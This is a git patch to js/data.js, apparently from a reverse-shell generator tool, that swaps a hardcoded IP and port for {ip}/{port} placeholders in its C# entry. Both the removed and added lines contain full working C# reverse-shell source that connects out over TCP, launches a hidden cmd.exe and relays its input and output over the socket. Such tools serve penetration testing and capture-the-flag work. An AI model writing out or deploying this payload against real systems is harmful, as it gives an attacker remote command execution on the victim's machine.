From c82935e02c2438830e8464f3d1f6424062a4e4cf Mon Sep 17 00:00:00 2001 From: Ryan Montgomery <44453666+0dayCTF@users.noreply.github.com> Date: Sun, 21 Mar 2021 12:07:18 -0400 Subject: [PATCH] Update data.js Fixed C# Shell --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 5c8f8b0..90ff807 100644 --- a/js/data.js +++ b/js/data.js @@ -86,7 +86,7 @@ const reverseShellCommands = withCommandType( }, { "name": "C#", - "command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"10.0.2.15\", 443))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}", + "command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"{ip}\", {port}))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}", "meta": ["linux", "windows"] }, {